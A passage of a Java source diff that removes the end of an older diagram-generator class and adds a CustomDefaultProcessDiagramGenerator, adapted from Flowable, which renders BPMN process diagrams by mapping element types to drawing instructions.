initProcessDiagramCanvas(BpmnModel bpmnModel, String imageType, - String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader) { - - // We need to calculate maximum values to know how big the image will be in its entirety - double minX = Double.MAX_VALUE; - double maxX = 0; - double minY = Double.MAX_VALUE; - double maxY = 0; - - for (Pool pool : bpmnModel.getPools()) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(pool.getId()); - minX = graphicInfo.getX(); - maxX = graphicInfo.getX() + graphicInfo.getWidth(); - minY = graphicInfo.getY(); - maxY = graphicInfo.getY() + graphicInfo.getHeight(); - } - - List flowNodes = gatherAllFlowNodes(bpmnModel); - for (FlowNode flowNode : flowNodes) { - - GraphicInfo flowNodeGraphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - - // width - if (flowNodeGraphicInfo.getX() + flowNodeGraphicInfo.getWidth() > maxX) { - maxX = flowNodeGraphicInfo.getX() + flowNodeGraphicInfo.getWidth(); - } - if (flowNodeGraphicInfo.getX() < minX) { - minX = flowNodeGraphicInfo.getX(); - } - // height - if (flowNodeGraphicInfo.getY() + flowNodeGraphicInfo.getHeight() > maxY) { - maxY = flowNodeGraphicInfo.getY() + flowNodeGraphicInfo.getHeight(); - } - if (flowNodeGraphicInfo.getY() < minY) { - minY = flowNodeGraphicInfo.getY(); - } - - for (SequenceFlow sequenceFlow : flowNode.getOutgoingFlows()) { - List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(sequenceFlow.getId()); - if (graphicInfoList != null) { - for (GraphicInfo graphicInfo : graphicInfoList) { - // width - if (graphicInfo.getX() > maxX) { - maxX = graphicInfo.getX(); - } - if (graphicInfo.getX() < minX) { - minX = graphicInfo.getX(); - } - // height - if (graphicInfo.getY() > maxY) { - maxY = graphicInfo.getY(); - } - if (graphicInfo.getY() < minY) { - minY = graphicInfo.getY(); - } - } - } - } - } - - List artifacts = gatherAllArtifacts(bpmnModel); - for (Artifact artifact : artifacts) { - - GraphicInfo artifactGraphicInfo = bpmnModel.getGraphicInfo(artifact.getId()); - - if (artifactGraphicInfo != null) { - // width - if (artifactGraphicInfo.getX() + artifactGraphicInfo.getWidth() > maxX) { - maxX = artifactGraphicInfo.getX() + artifactGraphicInfo.getWidth(); - } - if (artifactGraphicInfo.getX() < minX) { - minX = artifactGraphicInfo.getX(); - } - // height - if (artifactGraphicInfo.getY() + artifactGraphicInfo.getHeight() > maxY) { - maxY = artifactGraphicInfo.getY() + artifactGraphicInfo.getHeight(); - } - if (artifactGraphicInfo.getY() < minY) { - minY = artifactGraphicInfo.getY(); - } - } - - List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(artifact.getId()); - if (graphicInfoList != null) { - for (GraphicInfo graphicInfo : graphicInfoList) { - // width - if (graphicInfo.getX() > maxX) { - maxX = graphicInfo.getX(); - } - if (graphicInfo.getX() < minX) { - minX = graphicInfo.getX(); - } - // height - if (graphicInfo.getY() > maxY) { - maxY = graphicInfo.getY(); - } - if (graphicInfo.getY() < minY) { - minY = graphicInfo.getY(); - } - } - } - } - - int nrOfLanes = 0; - for (Process process : bpmnModel.getProcesses()) { - for (Lane l : process.getLanes()) { - - nrOfLanes++; - - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(l.getId()); - // // width - if (graphicInfo.getX() + graphicInfo.getWidth() > maxX) { - maxX = graphicInfo.getX() + graphicInfo.getWidth(); - } - if (graphicInfo.getX() < minX) { - minX = graphicInfo.getX(); - } - // height - if (graphicInfo.getY() + graphicInfo.getHeight() > maxY) { - maxY = graphicInfo.getY() + graphicInfo.getHeight(); - } - if (graphicInfo.getY() < minY) { - minY = graphicInfo.getY(); - } - } - } - - // Special case, see https://activiti.atlassian.net/browse/ACT-1431 - if (flowNodes.isEmpty() && bpmnModel.getPools().isEmpty() && nrOfLanes == 0) { - // Nothing to show - minX = 0; - minY = 0; - } - - return new CustomDefaultProcessDiagramCanvas((int) maxX + 10, (int) maxY + 10, (int) minX, (int) minY, - imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); - } - - protected static List gatherAllArtifacts(BpmnModel bpmnModel) { - List artifacts = new ArrayList<>(); - for (Process process : bpmnModel.getProcesses()) { - artifacts.addAll(process.getArtifacts()); - } - return artifacts; - } - - protected static List gatherAllFlowNodes(BpmnModel bpmnModel) { - List flowNodes = new ArrayList<>(); - for (Process process : bpmnModel.getProcesses()) { - flowNodes.addAll(gatherAllFlowNodes(process)); - } - return flowNodes; - } - - protected static List gatherAllFlowNodes(FlowElementsContainer flowElementsContainer) { - List flowNodes = new ArrayList<>(); - for (FlowElement flowElement : flowElementsContainer.getFlowElements()) { - if (flowElement instanceof FlowNode) { - flowNodes.add((FlowNode) flowElement); - } - if (flowElement instanceof FlowElementsContainer) { - flowNodes.addAll(gatherAllFlowNodes((FlowElementsContainer) flowElement)); - } - } - return flowNodes; - } - - protected boolean isPartOfCollapsedSubProcess(FlowElement flowElement, BpmnModel model) { - SubProcess subProcess = flowElement.getSubProcess(); - if (subProcess != null) { - GraphicInfo graphicInfo = model.getGraphicInfo(subProcess.getId()); - if (graphicInfo != null && graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - return true; - } - - return isPartOfCollapsedSubProcess(subProcess, model); - } - - return false; - } - - public Map, ActivityDrawInstruction> getActivityDrawInstructions() { - return activityDrawInstructions; - } - - public void setActivityDrawInstructions( - Map, ActivityDrawInstruction> activityDrawInstructions) { - this.activityDrawInstructions = activityDrawInstructions; - } - - public Map, ArtifactDrawInstruction> getArtifactDrawInstructions() { - return artifactDrawInstructions; - } - - public void setArtifactDrawInstructions( - Map, ArtifactDrawInstruction> artifactDrawInstructions) { - this.artifactDrawInstructions = artifactDrawInstructions; - } - - protected interface ActivityDrawInstruction { - void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode); - } - - protected interface ArtifactDrawInstruction { - void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact); - } -} +/* Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.dromara.workflow.flowable; + +import org.flowable.bpmn.model.Event; +import org.flowable.bpmn.model.Process; +import org.flowable.bpmn.model.*; +import org.flowable.image.ProcessDiagramGenerator; + +import java.awt.*; +import java.awt.image.BufferedImage; +import java.io.InputStream; +import java.util.List; +import java.util.*; + +/** + * Class to generate an image based the diagram interchange information in a BPMN 2.0 process. + * + * @author Joram Barrez + * @author Tijs Rademakers + * @author Zheng Ji + */ +public class CustomDefaultProcessDiagramGenerator implements ProcessDiagramGenerator { + + protected Map, ActivityDrawInstruction> activityDrawInstructions = new HashMap<>(); + protected Map, ArtifactDrawInstruction> artifactDrawInstructions = new HashMap<>(); + + public CustomDefaultProcessDiagramGenerator() { + this(1.0); + } + + // The instructions on how to draw a certain construct is + // created statically and stored in a map for performance. + public CustomDefaultProcessDiagramGenerator(final double scaleFactor) { + // start event + activityDrawInstructions.put(StartEvent.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + StartEvent startEvent = (StartEvent) flowNode; + if (startEvent.getEventDefinitions() != null && !startEvent.getEventDefinitions().isEmpty()) { + EventDefinition eventDefinition = startEvent.getEventDefinitions().get(0); + if (eventDefinition instanceof TimerEventDefinition) { + processDiagramCanvas.drawTimerStartEvent(graphicInfo, scaleFactor); + } else if (eventDefinition instanceof ErrorEventDefinition) { + processDiagramCanvas.drawErrorStartEvent(graphicInfo, scaleFactor); + } else if (eventDefinition instanceof EscalationEventDefinition) { + processDiagramCanvas.drawEscalationStartEvent(graphicInfo, scaleFactor); + } else if (eventDefinition instanceof ConditionalEventDefinition) { + processDiagramCanvas.drawConditionalStartEvent(graphicInfo, scaleFactor); + } else if (eventDefinition instanceof SignalEventDefinition) { + processDiagramCanvas.drawSignalStartEvent(graphicInfo, scaleFactor); + } else if (eventDefinition instanceof MessageEventDefinition) { + processDiagramCanvas.drawMessageStartEvent(graphicInfo, scaleFactor); + } else { + processDiagramCanvas.drawNoneStartEvent(graphicInfo); + } + } else { + List eventTypeElements = startEvent.getExtensionElements().get("eventType"); + if (eventTypeElements != null && eventTypeElements.size() > 0) { + processDiagramCanvas.drawEventRegistryStartEvent(graphicInfo, scaleFactor); + + } else { + processDiagramCanvas.drawNoneStartEvent(graphicInfo); + } + } + } + }); + + // signal catch + activityDrawInstructions.put(IntermediateCatchEvent.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + IntermediateCatchEvent intermediateCatchEvent = (IntermediateCatchEvent) flowNode; + if (intermediateCatchEvent.getEventDefinitions() != null && !intermediateCatchEvent.getEventDefinitions().isEmpty()) { + + if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof SignalEventDefinition) { + processDiagramCanvas.drawCatchingSignalEvent(flowNode.getName(), graphicInfo, true, scaleFactor); + } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof TimerEventDefinition) { + processDiagramCanvas.drawCatchingTimerEvent(flowNode.getName(), graphicInfo, true, scaleFactor); + } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof MessageEventDefinition) { + processDiagramCanvas.drawCatchingMessageEvent(flowNode.getName(), graphicInfo, true, scaleFactor); + } else if (intermediateCatchEvent.getEventDefinitions().get(0) instanceof ConditionalEventDefinition) { + processDiagramCanvas.drawCatchingConditionalEvent(flowNode.getName(), graphicInfo, true, scaleFactor); + } + } + } + }); + + // signal throw + activityDrawInstructions.put(ThrowEvent.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + ThrowEvent throwEvent = (ThrowEvent) flowNode; + if (throwEvent.getEventDefinitions() != null && !throwEvent.getEventDefinitions().isEmpty()) { + if (throwEvent.getEventDefinitions().get(0) instanceof SignalEventDefinition) { + processDiagramCanvas.drawThrowingSignalEvent(graphicInfo, scaleFactor); + } else if (throwEvent.getEventDefinitions().get(0) instanceof EscalationEventDefinition) { + processDiagramCanvas.drawThrowingEscalationEvent(graphicInfo, scaleFactor); + } else if (throwEvent.getEventDefinitions().get(0) instanceof CompensateEventDefinition) { + processDiagramCanvas.drawThrowingCompensateEvent(graphicInfo, scaleFactor); + } else { + processDiagramCanvas.drawThrowingNoneEvent(graphicInfo, scaleFactor); + } + } else { + processDiagramCanvas.drawThrowingNoneEvent(graphicInfo, scaleFactor); + } + } + }); + + // end event + activityDrawInstructions.put(EndEvent.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + EndEvent endEvent = (EndEvent) flowNode; + if (endEvent.getEventDefinitions() != null && !endEvent.getEventDefinitions().isEmpty()) { + if (endEvent.getEventDefinitions().get(0) instanceof ErrorEventDefinition) { + processDiagramCanvas.drawErrorEndEvent(flowNode.getName(), graphicInfo, scaleFactor); + } else if (endEvent.getEventDefinitions().get(0) instanceof EscalationEventDefinition) { + processDiagramCanvas.drawEscalationEndEvent(flowNode.getName(), graphicInfo, scaleFactor); + } else { + processDiagramCanvas.drawNoneEndEvent(graphicInfo, scaleFactor); + } + } else { + processDiagramCanvas.drawNoneEndEvent(graphicInfo, scaleFactor); + } + } + }); + + // task + activityDrawInstructions.put(Task.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // user task + activityDrawInstructions.put(UserTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawUserTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // script task + activityDrawInstructions.put(ScriptTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawScriptTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // service task + activityDrawInstructions.put(ServiceTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + ServiceTask serviceTask = (ServiceTask) flowNode; + if ("camel".equalsIgnoreCase(serviceTask.getType())) { + processDiagramCanvas.drawCamelTask(serviceTask.getName(), graphicInfo, scaleFactor); + }else if (ServiceTask.HTTP_TASK.equalsIgnoreCase(serviceTask.getType())) { + processDiagramCanvas.drawHttpTask(serviceTask.getName(), graphicInfo, scaleFactor); + } else if (ServiceTask.DMN_TASK.equalsIgnoreCase(serviceTask.getType())) { + processDiagramCanvas.drawDMNTask(serviceTask.getName(), graphicInfo, scaleFactor); + } else if (ServiceTask.SHELL_TASK.equalsIgnoreCase(serviceTask.getType())) { + processDiagramCanvas.drawShellTask(serviceTask.getName(), graphicInfo, scaleFactor); + } else { + processDiagramCanvas.drawServiceTask(serviceTask.getName(), graphicInfo, scaleFactor); + } + } + }); + + // http service task + activityDrawInstructions.put(HttpServiceTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawHttpTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // receive task + activityDrawInstructions.put(ReceiveTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawReceiveTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // send task + activityDrawInstructions.put(SendTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawSendTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // manual task + activityDrawInstructions.put(ManualTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawManualTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // send event service task + activityDrawInstructions.put(SendEventServiceTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawSendEventServiceTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // external worker service task + activityDrawInstructions.put(ExternalWorkerServiceTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + ServiceTask serviceTask = (ServiceTask) flowNode; + processDiagramCanvas.drawServiceTask(serviceTask.getName(), graphicInfo, scaleFactor); + } + }); + + // case service task + activityDrawInstructions.put(CaseServiceTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawCaseServiceTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // businessRuleTask task + activityDrawInstructions.put(BusinessRuleTask.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawBusinessRuleTask(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // exclusive gateway + activityDrawInstructions.put(ExclusiveGateway.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawExclusiveGateway(graphicInfo, scaleFactor); + } + }); + + // inclusive gateway + activityDrawInstructions.put(InclusiveGateway.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawInclusiveGateway(graphicInfo, scaleFactor); + } + }); + + // parallel gateway + activityDrawInstructions.put(ParallelGateway.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawParallelGateway(graphicInfo, scaleFactor); + } + }); + + // event based gateway + activityDrawInstructions.put(EventGateway.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawEventBasedGateway(graphicInfo, scaleFactor); + } + }); + + // Boundary timer + activityDrawInstructions.put(BoundaryEvent.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + BoundaryEvent boundaryEvent = (BoundaryEvent) flowNode; + if (boundaryEvent.getEventDefinitions() != null && !boundaryEvent.getEventDefinitions().isEmpty()) { + EventDefinition eventDefinition = boundaryEvent.getEventDefinitions().get(0); + if (eventDefinition instanceof TimerEventDefinition) { + processDiagramCanvas.drawCatchingTimerEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof ConditionalEventDefinition) { + processDiagramCanvas.drawCatchingConditionalEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof ErrorEventDefinition) { + processDiagramCanvas.drawCatchingErrorEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof EscalationEventDefinition) { + processDiagramCanvas.drawCatchingEscalationEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof SignalEventDefinition) { + processDiagramCanvas.drawCatchingSignalEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof MessageEventDefinition) { + processDiagramCanvas.drawCatchingMessageEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + + } else if (eventDefinition instanceof CompensateEventDefinition) { + processDiagramCanvas.drawCatchingCompensateEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + } + + } else { + List eventTypeElements = boundaryEvent.getExtensionElements().get("eventType"); + if (eventTypeElements != null && eventTypeElements.size() > 0) { + processDiagramCanvas.drawCatchingEventRegistryEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); + } + } + } + }); + + // subprocess + activityDrawInstructions.put(SubProcess.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); + } else { + processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); + } + } + }); + + // transaction + activityDrawInstructions.put(Transaction.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); + } else { + processDiagramCanvas.drawExpandedTransaction(flowNode.getName(), graphicInfo, scaleFactor); + } + } + }); + + // Event subprocess + activityDrawInstructions.put(EventSubProcess.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, true, scaleFactor); + } else { + processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, true, scaleFactor); + } + } + }); + + // Adhoc subprocess + activityDrawInstructions.put(AdhocSubProcess.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); + } else { + processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); + } + } + }); + + // call activity + activityDrawInstructions.put(CallActivity.class, new ActivityDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + processDiagramCanvas.drawCollapsedCallActivity(flowNode.getName(), graphicInfo, scaleFactor); + } + }); + + // text annotation + artifactDrawInstructions.put(TextAnnotation.class, new ArtifactDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(artifact.getId()); + TextAnnotation textAnnotation = (TextAnnotation) artifact; + processDiagramCanvas.drawTextAnnotation(textAnnotation.getText(), graphicInfo, scaleFactor); + } + }); + + // association + artifactDrawInstructions.put(Association.class, new ArtifactDrawInstruction() { + + @Override + public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { + Association association = (Association) artifact; + String sourceRef = association.getSourceRef(); + String targetRef = association.getTargetRef(); + + // source and target can be instance of FlowElement or Artifact + BaseElement sourceElement = bpmnModel.getFlowElement(sourceRef); + BaseElement targetElement = bpmnModel.getFlowElement(targetRef); + if (sourceElement == null) { + sourceElement = bpmnModel.getArtifact(sourceRef); + } + if (targetElement == null) { + targetElement = bpmnModel.getArtifact(targetRef); + } + List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(artifact.getId()); + graphicInfoList = connectionPerfectionizer(processDiagramCanvas, bpmnModel, sourceElement, targetElement, graphicInfoList); + int[] xPoints = new int[graphicInfoList.size()]; + int[] yPoints = new int[graphicInfoList.size()]; + for (int i = 1; i < graphicInfoList.size(); i++) { + GraphicInfo graphicInfo = graphicInfoList.get(i); + GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); + + if (i == 1) { + xPoints[0] = (int) previousGraphicInfo.getX(); + yPoints[0] = (int) previousGraphicInfo.getY(); + } + xPoints[i] = (int) graphicInfo.getX(); + yPoints[i] = (int) graphicInfo.getY(); + } + + AssociationDirection associationDirection = association.getAssociationDirection(); + processDiagramCanvas.drawAssociation(xPoints, yPoints, associationDirection, false, scaleFactor); + } + }); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, + String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + + return generateProcessDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, + activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI).generateImage(imageType); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, 1.0, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, + List highLightedActivities, List highLightedFlows, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, imageType, highLightedActivities, Collections.emptyList(), drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, imageType, highLightedActivities, Collections.emptyList(), scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, String activityFontName, + String labelFontName, String annotationFontName, ClassLoader customClassLoader, boolean drawSequenceFlowNameWithNoLabelDI) { + + return generateDiagram(bpmnModel, imageType, Collections.emptyList(), Collections.emptyList(), + activityFontName, labelFontName, annotationFontName, customClassLoader, 1.0, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, String activityFontName, + String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + + return generateDiagram(bpmnModel, imageType, Collections.emptyList(), Collections.emptyList(), + activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generatePngDiagram(BpmnModel bpmnModel, boolean drawSequenceFlowNameWithNoLabelDI) { + return generatePngDiagram(bpmnModel, 1.0, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generatePngDiagram(BpmnModel bpmnModel, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, "png", Collections.emptyList(), Collections.emptyList(), scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public InputStream generateJpgDiagram(BpmnModel bpmnModel) { + return generateJpgDiagram(bpmnModel, 1.0, false); + } + + @Override + public InputStream generateJpgDiagram(BpmnModel bpmnModel, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + return generateDiagram(bpmnModel, "jpg", Collections.emptyList(), Collections.emptyList(), drawSequenceFlowNameWithNoLabelDI); + } + + public BufferedImage generateImage(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, + String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + + return generateProcessDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, + activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI).generateBufferedImage(imageType); + } + + public BufferedImage generateImage(BpmnModel bpmnModel, String imageType, + List highLightedActivities, List highLightedFlows, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + + return generateImage(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + + @Override + public BufferedImage generatePngImage(BpmnModel bpmnModel, double scaleFactor) { + return generateImage(bpmnModel, "png", Collections.emptyList(), 